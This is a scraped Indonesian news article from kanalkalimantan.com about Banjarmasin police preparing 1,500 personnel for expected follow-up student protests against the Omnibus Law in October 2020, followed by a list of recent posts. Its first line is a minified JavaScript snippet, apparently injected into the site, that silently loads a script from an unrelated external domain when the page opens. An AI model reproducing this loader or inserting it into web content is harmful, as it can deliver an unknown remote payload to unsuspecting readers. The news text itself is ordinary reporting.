(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Antisipasi Demo Susulan, Polresta Banjarmasin Siapkan 1.500 Personel


KANALKALIMANTAN.COM, BANJARMASIN – Guna mematangkan kesiapan aparat pengamanan demonstrasi susulan penolakan UU Cipta Kerja yang bakal digelar BEM (Badan Eksekutif Mahasiswa) se Kalimantan Selatan, Polresta Banjarmasin sudan antisipasi menyusun strategi. Dengan menggelar Tactical Floor Game (TGF) di halaman Mapolresta Banjarmasin, Senin (12/10/2020).

Kapolresta Banjarmasin Kombes Rachmat Hendrawan mengatakan, demonstrasi susulan yang akan diadakan nanti adalah unjuk rasa dengan tujuan yang sama seperti unjuk rasa yang sudah digelar pada Kamis (8/10/2020) lalu.

“Infonya besok, mahasiswa akan berkonsolidasi dengan beberapa elemen dan puncaknya mungkin hari Kamis, sama dengan minggu kemarin hari Kamis juga. Tuntutannya juga sama seperti unjuk rasa kemarin yaitu Omnibus Law,” kata Rachmat.

Kombes Rachmat menjelaskan, latihan gabungan TFG ini penting untuk dilaksanakan karena koordinasi ini berkaitan dengan titik-titik yang harus dijaga. Dengan menggunakan peta buta, aparat menyimulasikan titik-titik pengamanan yang harus mendapatkan penjagaan.

“Jumlah aparat pengamanan yang akan diturunkan sekitar 1.500 personel yang berasal dari TNI-Polri, Dinas Perhubungan dan juga Satpol PP,” tandas Rachmat. Seperti diketahui, BEM se Kalsel kecewa karena kegagalan Ketua DPRD Provinsi Kalsel H Supian HK menemui Presiden RI Joko Widodo, untuk menyampaikan penolakan terhadap UU Cipta Kerja.

Melalui Koordinator Wilayah BEM se Kalsel Ahdiat Zairullah, BEM se Kalsel tak dapat menyembunyikan kekecewaannya atas apa yang telah dilakukan oleh Supian. “Kami jelas kecewa, sangat tidak puas dengan upaya DPRD Provinsi Kalsel sewaktu di Jakarta. Karena tuntutan kami jelas, bertemu dengan Presiden Jokowi, bukan dengan Staf Kepresidenan ataupun Menteri. Kami minta bertemu dengan Presiden,” kata Ahdiat, Minggu (11/10/2020) petang.

Ahdiat tidak menampik, akan ada aksi demonstrasi susulan. Hanya saja, BEM se Kalsel akan melakukan konsolidasi terlebih dahulu. “Yang jelas kami akan turun ke jalan kembali, terkait bentuknya kita akan putuskan setelah konsolidasi hari Selasa (13/10/2020) nanti,” imbuh Ahdiat. (kanalkalimantan.com/fikri)

Reporter: Fikri
Editor : Bie


Desy Arfianty

Recent Posts

Lolos Verifikasi Jalur Calon Perseorangan Lalu Mundur Diri, Siap-siap Kena Sanksi

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More

7 jam ago

Hadapi Satu Wasaka Award, Bappedalitbang Banjar Kumpulkan SKPD Terkait

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More

7 jam ago

Bupati Banjar Serahkan Bonus untuk Kafilah Kabupaten Banjar, Segini Rinciannya

KANALKALIMANTAN.COM, MARTAPURA -  Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More

8 jam ago

Proyek Trotoar Jalan Kemuning Langsung Drainase, Begini Respon Warga yang Pagarnya Kena Bongkar

KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More

8 jam ago

35 Peserta Ikuti Bimtek Pengawasan Jalan dan Jembatan Dinas PUPR Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More

10 jam ago

H Muhidin Siap Lamar Semua Parpol, Incar Cagub Kalsel Gandeng Hasnur

KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More

10 jam ago

This website uses cookies.